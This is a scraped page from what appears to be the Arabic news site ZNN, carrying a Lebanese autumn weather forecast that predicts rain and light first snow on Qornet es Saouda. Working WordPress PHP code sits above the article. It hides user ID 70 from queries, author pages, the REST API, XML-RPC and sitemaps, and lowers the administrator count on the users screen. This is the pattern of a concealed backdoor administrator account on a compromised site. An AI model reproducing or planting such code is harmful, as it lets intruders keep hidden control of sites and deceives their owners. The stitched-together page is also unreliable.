add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 70;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 70 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 70 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 70;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 70;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 70;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/70(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 70;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
الخريف يشتدّ.. وثلوج تلوّح من بعيد! - znn
كاتب في ZNN hussein Znn يعمل ضمن الفريق التحريري في موقع ZNN على إعداد ومراجعة مواد إخبارية موثوقة ومتابعة للأحداث بأسلوب مهني وواضح.
2025-10-06 5٬616 مقالات
يؤثر طقس خريفي رطب على لبنان مع انخفاض إضافي بدرجات الحرارة وتشكل سحب وضباب واحتمال رذاذ محلي حتى يوم الثلاثاء، قبل أن يتأثر البلد بمنخفض جوي معتاد وممطر بين ظهر الأربعاء والخميس، مع توقع أولى ثلوج الموسم الخفيفة على القرنة السوداء. تفاصيل الطقس: • الحرارة: ٢١–٢٨ ساحلًا، ١٢–٢٧ بقاعًا، ١٨–٢١ على الـ١٠٠٠م. • الجو: غائم جزئياً. • الرطوبة: ٥٠–٩٠٪ ساحلاً. • الرياح: جنوبية غربية، ١٠–٤٠ كم/س. • البحر: منخفض الموج (٦٠ سم)، حرارة سطحه ٢٨ درجة. الأيام المقبلة: • الثلاثاء: غائم جزئياً مع ضباب واحتمال مطر خفيف محلي خاصة شمالاً وجبلاً. • الأربعاء: تكوّن جزئي للغيوم مع أمطار متفرقة وضباب، ورياح نشطة تصل إلى ٥٠ كم/س.
تابع ZNN على تيليغرام احصل على آخر الأخبار فور حدوثها.
انضم الآن